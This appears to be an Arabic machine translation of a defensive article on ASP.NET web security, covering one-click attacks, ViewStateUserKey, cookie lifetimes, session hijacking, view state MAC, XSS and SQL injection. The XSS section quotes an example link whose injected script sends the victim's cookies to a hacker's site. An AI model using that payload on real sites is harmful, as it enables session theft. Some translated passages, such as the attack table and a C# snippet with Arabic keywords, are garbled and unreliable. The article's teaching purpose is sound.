إذا كنت تقرأ هذه المقالة، فربما لا تحتاج إلى الاقتناع بأن الأمان في تطبيقات الويب أصبح ذا أهمية متزايدة. ما تحتاج إليه على الأرجح هو بعض النصائح العملية حول كيفية تطبيق الأمان في تطبيق ASP.NET الخاص بك. الخبر السيئ هو أنه لا توجد منصة تطوير، بما في ذلك ASP.NET، يمكنها أن تضمن أنه بمجرد اعتمادك للنظام الأساسي، ستتمكن من كتابة تعليمات برمجية آمنة بنسبة 100%. ومن يقول ذلك فلابد أنه يكذب. والخبر السار هو أنه في حالة ASP.NET، يتضمن ASP.NET، وخاصة الإصدار 1.1 والإصدار القادم 2.0، بعض الدفاعات المضمنة سهلة الاستخدام.
إن تطبيق كل هذه الميزات وحده لا يكفي لحماية تطبيق الويب من كل هجوم محتمل ومتوقع. ومع ذلك، عند دمجها مع تقنيات الدفاع واستراتيجيات الأمان الأخرى، يمكن لوظيفة ASP.NET المضمنة أن تشكل مجموعة أدوات قوية للمساعدة في ضمان تشغيل التطبيقات في بيئة آمنة.
أمان الويب هو مجموع العديد من العوامل وهو نتيجة لاستراتيجية تمتد إلى ما هو أبعد من تطبيق واحد وتتضمن إدارة قواعد البيانات وتكوين الشبكة والهندسة الاجتماعية والتصيد الاحتيالي.
الغرض من هذه المقالة هو شرح ما يجب على مطوري ASP.NET فعله دائمًا للحفاظ على معايير الأمان عند مستوى معقول. هذا هو جوهر الأمن: البقاء يقظًا وعدم التخلي عن حذرك تمامًا، مما يزيد من صعوبة اختراق الأشرار.
دعونا نلقي نظرة على الميزات التي يوفرها ASP.NET لتبسيط هذا العمل.
في الجدول 1، قمت بتلخيص الأنواع الأكثر شيوعًا من هجمات الويب، بالإضافة إلى العيوب الموجودة في التطبيقات التي قد تسمح لهذه الهجمات بالنجاح.
| الهجمات | المحرضون المحتملون على الهجمات |
البرمجة النصية عبر المواقع (XSS) | تكرار إدخال المستخدم غير الموثوق به في الصفحة |
SQL | تسلسل إدخال المستخدم لتشكيل أمر SQL |
اختطاف | معرف الجلسة ملفات تعريف الارتباط معرف الجلسة المسروقة والمخمنة إرسال مستخدم غير موثوق به |
عبر البرنامج النصي | بنقرة واحدة | HTTP المتصور نشر
التلاعب بالحقل المخفي. | الحقول المخفية غير المحددة (والموثوقة) المليئة بالبيانات الحساسة |
ما هي الحقائق الأساسية التي تظهر من قائمة
هجمات الويب الشائعة
في رأيي، هناك ثلاثة أشياء على الأقل:
| • | عندما تقوم بإدخال أي مستخدم في علامة المتصفح، فمن المحتمل أن تعرض نفسك لهجمات حقن التعليمات البرمجية (أي حقن SQL ومتغيرات XSS). |
| • | يجب تنفيذ الوصول إلى قاعدة البيانات بطريقة آمنة، أي استخدام أقل عدد ممكن من الأذونات لقاعدة البيانات وتقسيم مسؤوليات المستخدمين الفرديين من خلال الأدوار. |
| • | لا ينبغي أبدًا إرسال البيانات الحساسة عبر الشبكة (ناهيك عن البيانات الواضحة) ويجب تخزينها على الخادم بطريقة آمنة. |
ومن المثير للاهتمام أن النقاط الثلاث المذكورة أعلاه تستهدف على التوالي ثلاثة جوانب مختلفة لأمن الويب، والجمع بين هذه الجوانب الثلاثة هو الطريقة المعقولة الوحيدة لإنشاء تطبيقات مقاومة للهجوم والتلاعب. يمكن تلخيص الطبقات المختلفة لأمن الويب على النحو التالي:
| • | ممارسات الترميز: التحقق من صحة البيانات، والتحقق من النوع وطول المخزن المؤقت، وإجراءات مكافحة التلاعب |
| • | سياسات الوصول إلى البيانات: استخدام القرارات لحماية أضعف الحسابات الممكنة، واستخدام الإجراءات المخزنة أو على الأقل تحديد المعلمات يأمر. |
| • | التخزين والإدارة بكفاءة: لا ترسل البيانات المهمة إلى العميل، واستخدم رموز التجزئة للكشف عن العمليات، ومصادقة المستخدمين وحماية الهويات، وتطبيق سياسات كلمة المرور الصارمة |
كما ترون، لا يمكن تحقيق ذلك إلا من خلال تطوير الجهود المشتركة للأشخاص، يؤدي المهندسون المعماريون والمسؤولون إلى تطبيقات آمنة. من فضلك لا تفترض أنه يمكنك تحقيق نفس الغرض بأي طريقة أخرى.
عندما تكتب تطبيق ASP.NET، فأنت لست وحدك في مواجهة جيش من المتسللين: أسلحتك الوحيدة هي سطور التعليمات البرمجية التي تكتبها بعقلك، ومهاراتك، وأصابعك. يأتي ASP.NET 1.1 والإصدارات الأحدث للإنقاذ بميزات محددة تعمل تلقائيًا على زيادة دفاعك ضد بعض التهديدات المذكورة أعلاه. أدناه نفحصها بالتفصيل.
في ASP.NET 1.1. ViewStateUserKey هي خاصية سلسلة لفئة الصفحة فقط عدد قليل من المطورين على دراية بهذه الخاصية. لماذا؟ دعونا نرى ما تقوله الوثائق.
تعيين معرف لمستخدم فردي في متغير حالة العرض المرتبط بالصفحة الحالية
، فإن معنى هذه الجملة واضح تمامًا، ولكن هل يمكنك أن تخبرني بصراحة أنها تصف الغرض الأصلي من الخاصية؟ لفهم دور ViewStateUserKey ، عليك متابعة القراءة حتى قسم الملاحظات .
تساعد هذه الخاصية على منع هجمات النقرة الواحدة لأنها توفر مدخلات إضافية لإنشاء تجزئة تمنع التلاعب بحالة العرض. بمعنى آخر، يجعل ViewStateUserKey من الصعب جدًا على المتسللين استخدام محتويات حالة عرض العميل لإعداد منشورات ضارة ضد الموقع. يمكن تعيين هذه الخاصية لأي سلسلة غير فارغة، ولكن يفضل أن يكون معرف الجلسة أو معرف المستخدم. لفهم أهمية هذه الخاصية بشكل أفضل، دعونا نقدم بإيجاز أساسيات الهجمات بنقرة واحدة .
يتضمن الهجوم بنقرة واحدة نشر نموذج HTTP ضار على موقع ويب معروف ومعرض للخطر. يطلق عليها "النقرة الواحدة" لأنها تبدأ غالبًا عندما ينقر الضحية عن غير قصد على رابط مغري يجده عبر البريد الإلكتروني أو أثناء التصفح في منتدى مزدحم. من خلال النقر على الرابط، قام المستخدم عن غير قصد بتشغيل عملية عن بعد أدت في النهاية إلى إرسال <نموذج> ضار إلى أحد المواقع. لنكن صادقين هنا: هل يمكنك حقًا أن تخبرني أنك لم تنقر مطلقًا على رابط مثل انقر هنا للفوز بمليون دولار بدافع الفضول؟ من الواضح أنه لم يحدث لك شيء سيء. لنفترض أن هذا هو الحال، هل يمكنك القول إن كل شخص آخر في مجتمع الويب نجا؟ من يدري.
لكي يكون الهجوم ناجحًا، يتطلب الهجوم بنقرة واحدة شروطًا أساسية معينة:
| • | يجب أن يكون لدى المهاجم معرفة كافية بالموقع المعرض للخطر. وهذا ممكن لأن المهاجم يمكنه دراسة الملف "بجد" أو أنه شخص غاضب من الداخل (على سبيل المثال، موظف تم فصله لأنه غير أمين). ولذلك، فإن عواقب مثل هذا الهجوم يمكن أن تكون خطيرة للغاية. |
| • | يجب أن يستخدم الموقع ملفات تعريف الارتباط (ملفات تعريف الارتباط الدائمة هي الأفضل) لتمكين تسجيل الدخول الفردي، وأن يكون المهاجم قد تلقى ملف تعريف ارتباط صالحًا للمصادقة. |
| • | شارك بعض مستخدمي هذا الموقع في معاملات حساسة. |
| • | يجب أن يكون لدى المهاجم حق الوصول إلى الصفحة المستهدفة. |
كما ذكرنا من قبل، يتضمن الهجوم إرسال نموذج HTTP ضار إلى صفحة تنتظر النموذج. يمكن الاستدلال على أن هذه الصفحة ستستخدم البيانات المنشورة لإجراء بعض العمليات الحساسة. وكما يمكنك أن تتخيل، يعرف المهاجم بالضبط كيفية استخدام كل مجال ويمكنه التوصل إلى بعض القيم المزيفة لتحقيق أهدافه. عادةً ما يكون هذا هجومًا محدد الهدف ويصعب تتبعه بسبب العلاقة الثلاثية التي ينشئها - أي أن المتسلل يخدع الضحية للنقر على رابط على موقع المتسلل، مما يؤدي بدوره إلى نشر التعليمات البرمجية الضارة على موقع ثلاثة مواقع. (انظر الشكل 1.)
الشكل 1. الهجوم بنقرة واحدة
لماذا الضحية المطمئنة؟ وذلك لأن عنوان IP الذي يظهر منه الطلب الضار في سجلات الخادم، في هذه الحالة، هو عنوان IP الخاص بالضحية. كما ذكرنا من قبل، هذه الأداة ليست شائعة (وسهلة التشغيل) مثل XSS "الكلاسيكي"، ومع ذلك، فإن طبيعتها تعني أن عواقبها يمكن أن تكون كارثية. كيفية التعامل معها؟ بعد ذلك، سندرس كيفية عمل هذا الهجوم في بيئة ASP.NET.
ما لم يتم ترميز العملية في حدث Page_Load ، فمن المستحيل على صفحة ASP.NET تنفيذ تعليمات برمجية حساسة خارج حدث إعادة النشر. لكي يحدث حدث إعادة النشر، يلزم وجود حقل حالة العرض. ضع في اعتبارك أن ASP.NET يتحقق من حالة إعادة النشر للطلب، واستنادًا إلى ما إذا كان حقل الإدخال _VIEWSTATE موجودًا، يقوم بتعيين IsPostBack وفقًا لذلك. ولذلك، يجب على من يريد إرسال طلب وهمي إلى صفحة ASP.NET توفير حقل حالة عرض صالح.
لكي ينجح الهجوم بنقرة واحدة، يجب أن يكون المتسلل قادرًا على الوصول إلى الصفحة. عند هذه النقطة، سيقوم المتسلل بعيد النظر بحفظ الصفحة محليًا. بهذه الطريقة، يمكنه الوصول إلى حقل _VIEWSTATE واستخدام هذا الحقل لإنشاء طلبات بحالة العرض القديمة والقيم الضارة من الحقول الأخرى. السؤال هو هل سينجح هذا؟
ولم لا؟ إذا تمكن المهاجم من تقديم ملف تعريف ارتباط مصادقة صالح، فسيتمكن المتسلل من الدخول وستتم معالجة الطلب كالمعتاد. لا يتم التحقق من محتويات حالة العرض على الخادم على الإطلاق (عند إيقاف تشغيل EnableViewStataMac )، أو فقط في حالة العبث بها. افتراضيًا، لا توجد آلية في حالة العرض لربط هذا المحتوى بمستخدم معين. يمكن للمهاجم بسهولة إعادة استخدام حالة العرض التي تم الحصول عليها للوصول بشكل شرعي إلى الصفحة عن طريق انتحال شخصية مستخدم آخر لإنشاء طلبات مزيفة. هذا هو المكان الذي يتدخل فيه ViewStateUserKey .
إذا تم تحديدها بدقة، فيمكن لهذه الخاصية إضافة معلومات خاصة بالمستخدم إلى حالة العرض. عند معالجة طلب، يقوم ASP.NET باستخراج المفتاح من حالة العرض ومقارنته مع ViewStateUserKey للصفحة قيد التشغيل. إذا تطابق الاثنان، فسيتم اعتبار الطلب شرعيًا؛ وإلا سيتم طرح استثناء. ما هي القيم الصالحة لهذه السمة؟
إن تعيين ViewStateUserKey على سلسلة ثابتة لجميع المستخدمين يعادل تركه فارغًا. يجب عليك تعيينها على قيمة مختلفة لكل مستخدم - معرف المستخدم، ويفضل معرف الجلسة. لبعض الأسباب التقنية والاجتماعية، تكون معرفات الجلسة أكثر ملاءمة لأن معرفات الجلسة لا يمكن التنبؤ بها، وتنتهي صلاحيتها بمرور الوقت، وتختلف من مستخدم لآخر.
إليك بعض التعليمات البرمجية الضرورية في جميع صفحاتك:
void Page_Init (object sender, EventArgs e) {
ViewStateUserKey = Session.SessionID;
:
}
لتجنب تكرار هذه الرموز، يمكنك إصلاحها باستخدام الأسلوب الظاهري OnInit للفئة المشتقة من Page . (لاحظ أنه يجب عليك تعيين هذه الخاصية في حدث Page.Init .)
protected override OnInit(EventArgs e) {
base.OnInit(e);
ViewStateUserKey = Session.SessionID;
}
بشكل عام، يعد استخدام فئات الصفحات الأساسية أمرًا جيدًا دائمًا، كما أوضحت في المقالة إنشاء صفحات ASP.NET الخاصة بك على أساس أكثر ثراءً . إذا كنت تريد معرفة المزيد حول حيل المهاجمين بنقرة واحدة، فيمكنك العثور على مقالة جيدة جدًا على aspnetpro.com .
لأنها تساعد المطورين على تحقيق أغراض معينة. تعمل ملفات تعريف الارتباط كرابط دائم بين المتصفح والخادم. خاصة بالنسبة للتطبيقات التي تستخدم تسجيل الدخول الموحد، فإن ملفات تعريف الارتباط المسروقة هي التي تجعل الهجمات ممكنة. وهذا صحيح تمامًا بالنسبة للهجوم بنقرة واحدة.
لاستخدام ملفات تعريف الارتباط، لا تحتاج إلى إنشائها وقراءتها برمجيًا بشكل صريح. إذا كنت تستخدم حالة الجلسة وقمت بتنفيذ مصادقة النماذج، فإنك تستخدم ملفات تعريف الارتباط ضمنيًا. بالطبع، يدعم ASP.NET حالة الجلسة بدون ملفات تعريف الارتباط، ويقدم ASP.NET 2.0 أيضًا مصادقة النماذج بدون ملفات تعريف الارتباط. لذلك، يمكنك نظريًا استخدام هذه الميزات بدون ملفات تعريف الارتباط. أنا لا أقول أنه ليس عليك القيام بذلك بعد الآن، ولكن الحقيقة هي أن هذه إحدى الحالات التي يكون فيها العلاج أسوأ من المرض. تقوم الجلسة الخالية من ملفات تعريف الارتباط في الواقع بتضمين معرف الجلسة في عنوان URL حتى يتمكن أي شخص من رؤيته.
ما هي المشكلات المحتملة المتعلقة باستخدام ملفات تعريف الارتباط؟ يمكن سرقة ملفات تعريف الارتباط (أي نسخها إلى كمبيوتر المتسلل) وتسميمها (أي مليئة بالبيانات الضارة). غالبًا ما تكون هذه الإجراءات مقدمة لهجوم قادم. في حالة سرقة ملف تعريف الارتباط، "يسمح" ملف تعريف الارتباط للمستخدمين الخارجيين بالاتصال بالتطبيق (واستخدام الصفحات المحمية) نيابةً عنك، مما قد يسمح للمتسلل بالتحايل بسهولة على الترخيص والقدرة على القيام بما يسمح به الدور وإعدادات الأمان للضحية. أي عملية. ولذلك، عادةً ما يتم منح ملفات تعريف الارتباط المصادقة عمرًا قصيرًا نسبيًا يبلغ 30 دقيقة. (لاحظ أنه حتى إذا استغرقت جلسة المتصفح وقتًا أطول للاكتمال، فستستمر صلاحية ملف تعريف الارتباط.) في حالة حدوث سرقة، يكون لدى المتسللين نافذة مدتها 30 دقيقة لمحاولة الهجوم.
يمكنك جعل هذا الحد الزمني أطول حتى لا يضطر المستخدمون إلى تسجيل الدخول كثيرًا، ولكن عليك أن تدرك أنك تعرض نفسك للخطر من خلال القيام بذلك. يجب تجنب استخدام ملفات تعريف الارتباط الدائمة لـ ASP.NET تحت أي ظرف من الظروف. سينتج عن ذلك ملفات تعريف ارتباط ذات عمر دائم تقريبًا يصل إلى 50 عامًا! يوضح مقتطف التعليمات البرمجية التالي كيفية تعديل تاريخ انتهاء صلاحية ملف تعريف الارتباط بسهولة.
باطلة OnLogin(مرسل الكائن، EventArgs e) {
// التحقق من بيانات الاعتماد
إذا (ValidateUser(user, pswd)) {
// قم بتعيين تاريخ انتهاء صلاحية ملف تعريف الارتباط
ملف تعريف الارتباط HttpCookie؛
ملف تعريف الارتباط = FormsAuthentication.GetAuthCookie(user, isPersistent);
إذا (مستمر)
cookie.Expires = DateTime.Now.AddDays(10);
// أضف ملف تعريف الارتباط إلى الاستجابة
Response.Cookies.Add(cookie);
//إعادة التوجيه
سلسلة الهدفUrl؛
targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
Response.Redirect(targetUrl);
}
}
يمكنك استخدام هذا الرمز في نموذج تسجيل الدخول الخاص بك لضبط عمر ملف تعريف ارتباط المصادقة.
أيضًا لاسترداد حالة الجلسة لمستخدم معين. يتم تخزين معرف الجلسة في ملف تعريف الارتباط الذي يتم إرساله ذهابًا وإيابًا مع الطلب وتخزينه على كمبيوتر المتصفح. وبالمثل، في حالة سرقته، يمكن استخدام ملف تعريف ارتباط الجلسة للسماح للمتسلل باقتحام النظام والوصول إلى حالة جلسة شخص آخر. وغني عن القول أن هذا ممكن طالما أن الجلسة المحددة نشطة (عادة لا تزيد عن 20 دقيقة). يسمى الهجوم من خلال حالة الجلسة المنتحلة باختطاف الجلسة . لمزيد من المعلومات حول اختطاف الجلسة، اقرأ السرقة على الويب: منع اختطاف الجلسة .
ما مدى خطورة هذا الهجوم؟ من الصعب معرفة ذلك. ويعتمد هذا على وظيفة موقع الويب، والأهم من ذلك، كيفية تصميم صفحات الموقع. على سبيل المثال، لنفترض أنك تمكنت من الحصول على ملف تعريف ارتباط جلسة شخص آخر وإرفاقه بطلب لصفحة على موقعك. تقوم بتحميل الصفحة والتنقل خلال واجهة المستخدم العادية الخاصة بها. لا يمكنك إدخال أي كود في الصفحة، ولا تعديل أي شيء في الصفحة، باستثناء أن الصفحة تعمل باستخدام حالة جلسة مستخدم آخر. وهذا ليس سيئًا للغاية في حد ذاته، ولكن إذا كانت المعلومات الموجودة في تلك الجلسة حساسة وحاسمة، فقد يؤدي ذلك مباشرةً إلى استغلال ناجح. لا يستطيع المتسلل اختراق محتويات مخزن الجلسة، لكن يمكنه استخدام المعلومات المخزنة هناك كما لو كان قد دخل بشكل قانوني. على سبيل المثال، فكر في أحد تطبيقات التجارة الإلكترونية حيث يقوم المستخدمون بإضافة عناصر إلى عربات التسوق الخاصة بهم أثناء تصفح الموقع.
| • | الخيار 1. يتم تخزين محتويات عربة التسوق في حالة الجلسة. ومع ذلك، أثناء الخروج، يُطلب من المستخدمين تأكيد تفاصيل الدفع وإدخالها عبر اتصال SSL آمن. في هذه الحالة، من خلال الوصول إلى حالة الجلسة للمستخدمين الآخرين، يمكن للمتسلل معرفة بعض التفاصيل فقط حول تفضيلات التسوق الخاصة بالضحية. الاختطاف في هذه البيئة لا يسبب في الواقع أي ضرر. ما هو على المحك هو السرية. |
| • | الخيار 2. يقوم التطبيق بمعالجة ملف تعريف واحد لكل مستخدم مسجل ويحفظ ملف التعريف في حالة الجلسة. والأسوأ من ذلك أن الملف الشخصي (على الأرجح) يتضمن معلومات بطاقة الائتمان. لماذا يتم تخزين تفاصيل الملف الشخصي في الجلسة؟ ربما يكون أحد أهداف التطبيق هو منع المستخدمين من الاضطرار إلى كتابة معلومات بطاقة الائتمان والمعلومات المصرفية الخاصة بهم بشكل متكرر. ولذلك، عند الخروج، يوجه التطبيق المستخدم إلى صفحة ذات نطاق مملوء مسبقًا. ومن غير الضروري أن يكون أحد هذه الحقول هو رقم بطاقة الائتمان التي تم الحصول عليها من حالة الجلسة. هل يمكنك أن تخمن الآن كيف تنتهي القصة؟ |
يعد تصميم صفحات التطبيق هو المفتاح لمنع هجمات اختطاف الجلسة. وبطبيعة الحال، لا تزال هناك نقطتان لم يتم توضيحهما. النقطة الأولى هي كيفية منع سرقة ملفات تعريف الارتباط؟ النقطة الثانية هي كيف يمكن لـ ASP.NET اكتشاف ومنع الاختطاف؟
ملفات تعريف الارتباط لجلسة ASP.NET بسيطة للغاية وتقتصر على احتواء سلسلة معرف الجلسة نفسها. يقوم وقت تشغيل ASP.NET باستخراج معرف الجلسة من ملف تعريف الارتباط ومقارنته بالجلسة النشطة. إذا كان المعرف صالحًا، فسيقوم ASP.NET بالاتصال بالجلسة المقابلة والمتابعة. يسهل هذا السلوك إلى حد كبير المتسللين الذين سرقوا أو يمكنهم تخمين معرف جلسة صالح.
تعد هجمات XSS وman-in-the-middle، بالإضافة إلى الوصول القسري إلى جهاز الكمبيوتر العميل، كلها طرقًا للحصول على ملفات تعريف الارتباط الصالحة. لمنع السرقة، يجب عليك تطبيق أفضل ممارسات الأمان لمنع نجاح XSS ومتغيراته.
ولمنع تخمين معرف الجلسة، يجب عليك ببساطة تجنب المبالغة في تقدير مهاراتك. إن تخمين معرف الجلسة يعني أنك تعرف كيفية التنبؤ بسلسلة معرف جلسة صالحة. بالنسبة للخوارزمية المستخدمة بواسطة ASP.NET (15 رقمًا عشوائيًا تم تعيينها لأحرف ممكّنة لعنوان URL)، فإن احتمال التخمين العشوائي لمعرف صالح يقترب من الصفر. لا أستطيع التفكير في أي سبب لاستبدال منشئ معرف الجلسة الافتراضي بمولد معرف الجلسة الخاص بك. في كثير من الحالات، يؤدي القيام بذلك إلى تسهيل الأمور على المهاجم.
والنتيجة الأسوأ لاختطاف الجلسة هي أنه بمجرد سرقة ملف تعريف الارتباط أو تخمينه، لا يكون لدى ASP.NET أي طريقة لاكتشاف الاستخدام الاحتيالي لملفات تعريف الارتباط. مرة أخرى، السبب هو أن ASP.NET يقتصر على التحقق من صحة المعرف وأصل ملف تعريف الارتباط.
كتب صديقي جيف بروسيس من Wintellect مقالة جيدة حول اختطاف الجلسة لمجلة MSDN . استنتاجه ليس مريحًا: يكاد يكون من المستحيل بناء دفاعات يمكنها الحماية بشكل كامل من الهجمات بناءً على ملفات تعريف الارتباط المسروقة لمعرف الجلسة. لكن الكود الذي طوره يقدم اقتراحات معقولة للغاية لمزيد من تحسين معايير الأمان. أنشأ جيف وحدة HTTP تراقب الطلبات الواردة والاستجابات الصادرة لملفات تعريف الارتباط لمعرف الجلسة. تقوم هذه الوحدة بإلحاق رمز التجزئة بمعرف الجلسة، مما يجعل من الصعب على المهاجم إعادة استخدام ملف تعريف الارتباط. يمكنك قراءة التفاصيل هنا .
للحفاظ على حالة التحكم بين طلبين متتاليين لنفس الصفحة. افتراضيًا، تكون حالة العرض مشفرة بـ Base64 وموقعة بعلامة تجزئة لمنع التلاعب. لا يمكن التلاعب بحالة العرض دون تغيير إعدادات الصفحة الافتراضية. إذا قام أحد المهاجمين بتعديل حالة العرض، أو حتى إعادة إنشاء حالة العرض باستخدام الخوارزمية الصحيحة، فسوف يلتقط ASP.NET هذه المحاولات ويطرح استثناءً. إن التلاعب بحالة العرض ليس بالضرورة ضارًا، على الرغم من أنه يعدل حالة عناصر التحكم في الخادم — ولكنه يمكن أن يكون وسيلة للإصابة الخطيرة. لذلك، من المهم للغاية عدم إزالة التحقق المتبادل من رمز مصادقة الكمبيوتر (MAC) الذي يحدث افتراضيًا. انظر الشكل 2.
الشكل 2. العوامل التي تجعل حالة العرض نفسها صعبة التلاعب بها عند تمكين EnableViewStateMac
عند تمكين فحص MAC (الافتراضي)، يتم إلحاق قيمة التجزئة بحالة العرض التسلسلية، والتي يتم إنشاؤها باستخدام بعض القيم من جانب الخادم وسر مستخدم حالة العرض (إن وجد). عند إعادة نشر حالة العرض مرة أخرى، تتم إعادة حساب التجزئة باستخدام القيمة الجديدة من جانب الخادم ومقارنتها بالقيمة المخزنة. إذا تطابق الاثنان، يُسمح بالطلب، وإلا فسيتم طرح استثناء. حتى بافتراض أن المتسلل لديه القدرة على كسر حالة العرض وإعادة إنشائها، فإنه سيظل بحاجة إلى معرفة القيمة المخزنة بواسطة الخادم من أجل استخلاص تجزئة صالحة. وعلى وجه التحديد، يحتاج المتسلل إلى معرفة مفتاح الجهاز المشار إليه في إدخال <machineKey> في Machine.config.
افتراضيًا، يتم إنشاء الإدخالات تلقائيًا وتخزينها فعليًا في Windows Local Security Authority (LSA). فقط في حالة مزرعة الويب، حيث يجب أن يكون مفتاح الجهاز لحالة العرض هو نفسه على كافة الأجهزة، يجب عليك تحديده كنص واضح في ملف Machine.config.
يتم التحكم في فحص حالة عرض MAC من خلال سمة توجيه @Page تسمى EnableViewStateMac . كما ذكرنا من قبل، بشكل افتراضي، يتم تعيينه على صحيح. يرجى عدم تعطيل هذا مطلقًا؛ سيؤدي القيام بذلك إلى جعل الهجوم بنقرة واحدة على التلاعب بحالة العرض ممكنًا مع احتمالية نجاح عالية.
صديقًا قديمًا للعديد من مطوري الويب ذوي الخبرة، حيث كانت موجودة منذ عام 1999. ببساطة، يستغل XSS الثغرات الأمنية في التعليمات البرمجية لإدخال تعليمات برمجية قابلة للتنفيذ للمتسلل إلى جلسة متصفح مستخدم آخر. في حالة تنفيذه، يمكن للتعليمات البرمجية المحقونة تنفيذ عدد من الإجراءات المختلفة — الحصول على ملف تعريف الارتباط وتحميل نسخة إلى موقع ويب يتحكم فيه المتسللون، ومراقبة جلسة الويب الخاصة بالمستخدم وإعادة توجيه البيانات، وتعديل سلوك ومظهر الصفحة المخترقة بحيث قم بتقديم معلومات خاطئة أو حتى اجعل نفسك مثابرًا حتى أنه في المرة التالية التي يعود فيها المستخدم إلى الصفحة، سيتم تشغيل التعليمات البرمجية المخادعة مرة أخرى. يرجى قراءة المزيد حول أساسيات هجمات XSS في مقالة TechNet نظرة عامة على البرمجة النصية للمواقع المشتركة .
ما هي نقاط الضعف في التعليمات البرمجية التي تجعل هجمات XSS ممكنة؟
يستغل XSS تطبيقات الويب التي تنشئ صفحات HTML ديناميكيًا ولكنها لا تتحقق من صحة الإدخال الذي يتم إرجاعه إلى الصفحة. يشير الإدخال هنا إلى سلسلة الاستعلام وملفات تعريف الارتباط ومحتويات حقول النموذج. إذا ظهر هذا المحتوى على الويب دون إجراء فحوصات مناسبة للأداء، فهناك خطر من أن يتمكن المتسللون من التلاعب به لتنفيذ نصوص برمجية ضارة في متصفحات العملاء. (هجوم النقرة الواحدة المذكور سابقًا هو في الواقع نسخة حديثة من XSS.) يتسبب هجوم XSS النموذجي في قيام مستخدم غير متوقع بالنقر فوق رابط مغري أفلت من رمز البرنامج النصي المضمن في الرابط. سيتم إرسال الكود المخادع إلى صفحة ضعيفة ستخرجه دون أي شك. فيما يلي مثال لما قد يحدث:
<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name= <script>document.location.replace( http://www.hackersite.com/HackerPage.aspx? Cookie=' + document.cookie); </script>">انقر للمطالبة بجائزتك</a>
ينقر المستخدم على رابط يبدو آمنًا، مما يؤدي في النهاية إلى تمرير بعض التعليمات البرمجية النصية إلى الصفحة المعرضة للخطر، والتي تحصل أولاً على جميع ملفات تعريف الارتباط الموجودة على كمبيوتر المستخدم ثم ترسلها إلى موقع الويب الخاص بالمتسلل.
من المهم ملاحظة أن XSS ليست مشكلة خاصة بالمورد، وبالتالي لا تستغل بالضرورة الثغرات الأمنية في Internet Explorer. إنه يؤثر على جميع خوادم الويب والمتصفحات الموجودة حاليًا في السوق. تجدر الإشارة إلى أنه لا يوجد تصحيح واحد يمكنه حل هذه المشكلة. يمكنك حماية صفحاتك من هجمات XSS من خلال تطبيق تدابير محددة وممارسات الترميز السليم. يرجى أيضًا ملاحظة أن المهاجم لا يطلب من المستخدم النقر فوق الرابط لبدء الهجوم.
للدفاع ضد XSS، يجب عليك تحديد المدخلات الصالحة ثم رفض جميع المدخلات الأخرى. يمكنك قراءة قائمة مرجعية مفصلة للدفاع ضد هجمات XSS في كتاب يجب قراءته في Microsoft - كتابة الكود الآمن بقلم مايكل هوارد وديفيد ليبلانك. وعلى وجه الخصوص، أنصحك بقراءة الفصل 13 بعناية.
الطريقة الأساسية لإحباط هجمات XSS الخبيثة هي إضافة طبقة تحقق فعالة ومصممة جيدًا إلى مدخلاتك (أي نوع من بيانات الإدخال). على سبيل المثال، هناك حالات يمكن فيها حتى للون غير ضار (RGB ثلاثي الألوان) أن يجلب نصًا غير متحكم فيه مباشرة إلى الصفحة.
في ASP.NET 1.1، عند تشغيل سمة ValidateRequest في توجيه @Page ، يتم إجراء فحص للتأكد من أن المستخدم لا يرسل علامات HTML قد تكون خطرة في سلسلة الاستعلام أو ملفات تعريف الارتباط أو حقول النموذج. إذا تم اكتشاف ذلك، فسيتم طرح استثناء وسيتم إحباط الطلب. هذه الخاصية قيد التشغيل بشكل افتراضي، ولا تحتاج إلى القيام بأي شيء لتكون محميًا. إذا كنت تريد السماح لعلامات HTML بالمرور، فيجب عليك تعطيل هذه السمة بشكل فعال.
<%@ صفحة ValidateRequest="false" %>
ValidateRequest ليس حلاً سحريًا ولا يمكن أن يحل محل طبقة التحقق الفعالة. يرجى القراءة هنا للحصول على ثروة من المعلومات القيمة حول أساسيات هذه الميزة. إنه يعمل بشكل أساسي من خلال تطبيق تعبير عادي لالتقاط بعض التسلسلات الضارة المحتملة.
ملاحظة: كانت وظيفة ValidateRequest في الأصل تحتوي على أخطاء ، لذا تحتاج إلى تطبيق تصحيح حتى تعمل كما هو متوقع. غالبًا ما تمر مثل هذه المعلومات المهمة دون أن يلاحظها أحد. ومن الغريب أنني اكتشفت أن أحد أجهزة الكمبيوتر الخاصة بي لا يزال متأثرًا بالخلل. جربها!
لا يوجد سبب لإغلاق ValidateRequest . يمكنك تعطيله، ولكن لسبب وجيه للغاية؛ قد يكون أحد هذه الأسباب هو أن المستخدمين بحاجة إلى أن يكونوا قادرين على نشر بعض HTML على الموقع من أجل الحصول على خيارات تنسيق أفضل. في هذه الحالة، يجب عليك تحديد عدد علامات HTML المسموح بها ( <pre> , <b> , <i> , <p> , <br> , <hr> ) وكتابة تعبير عادي لضمان عدم السماح بأي شيء آخر أو مقبولة.
فيما يلي بعض النصائح الإضافية للمساعدة في حماية ASP.NET من هجمات XSS:
| استخدم | HttpUtility.HtmlEncode لتحويل الرموز الخطيرة إلى تمثيل HTML الخاص بها. |
| • | استخدم علامات الاقتباس المزدوجة بدلاً من علامات الاقتباس المفردة لأن ترميز HTML لا يفلت إلا من علامات الاقتباس المزدوجة. |
| • | فرض صفحة الرموز لتحديد عدد الأحرف التي يمكن استخدامها. |
باختصار، استخدم خاصية ValidateRequest ولكن لا تثق بها تمامًا ولا تكن كسولًا جدًا. خذ الوقت الكافي لفهم التهديدات الأمنية بشكل أساسي مثل XSS والتخطيط لاستراتيجية دفاعية تتمحور حول نقطة رئيسية واحدة: جميع مدخلات المستخدم خطيرة.
نوعًا آخر من الهجمات المعروفة التي تستغل التطبيقات التي تستخدم إدخال المستخدم غير المعقم لتشكيل أوامر قاعدة البيانات. إذا كان أحد التطبيقات يستخدم بكل سرور ما يكتبه المستخدم في حقل نموذج لإنشاء سلسلة أوامر SQL، فإنه يعرضك لخطر قيام مستخدم ضار بتعديل طبيعة الاستعلام ببساطة عن طريق زيارة الصفحة وإدخال معلمات احتيالية. يمكنك معرفة المزيد حول حقن SQL هنا .
هناك العديد من الطرق لمنع هجمات حقن SQL. يتم وصف التقنيات الأكثر شيوعا أدناه.
| • | التأكد من أن إدخال المستخدم من النوع المناسب ويتبع النمط المتوقع (الرمز البريدي، رقم الهوية، البريد الإلكتروني، وما إلى ذلك). إذا كان من المتوقع وجود رقم من مربع نص، فقم بحظر الطلب عندما يقوم المستخدم بإدخال شيء لا يمكن تحويله إلى رقم. |
| • | استخدم الاستعلامات ذات المعلمات، ويفضل الإجراءات المخزنة. |
